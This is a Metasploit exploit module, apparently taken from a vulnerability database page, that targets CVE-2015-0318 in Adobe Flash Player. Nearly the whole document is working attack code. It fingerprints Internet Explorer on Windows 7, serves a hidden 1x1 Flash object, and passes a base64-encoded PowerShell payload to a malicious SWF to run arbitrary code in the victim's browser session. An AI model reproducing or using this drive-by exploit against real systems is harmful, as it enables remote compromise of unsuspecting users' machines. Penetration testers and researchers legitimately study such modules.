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Adobe Flash Player PCRE Regex Logic Error
10
`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mark Brand', # Found vuln
'sinn3r' # MSF
],
'References' =>
[
[ 'CVE', '2015-0318' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'Retries' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{#{CLASSID}}",
:method => "LoadMovie",
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
# So we're gonna limit to this one for now. More validation needed in the future.
:flash => lambda { |ver| ver == '16.0.0.235' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Nov 25 2014",
'DefaultTarget' => 0))
end
def exploit
# Please see data/exploits/CVE-2015-0318/ for source,
# that's where the actual exploit is
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
`
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18 Mar 2015 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.89185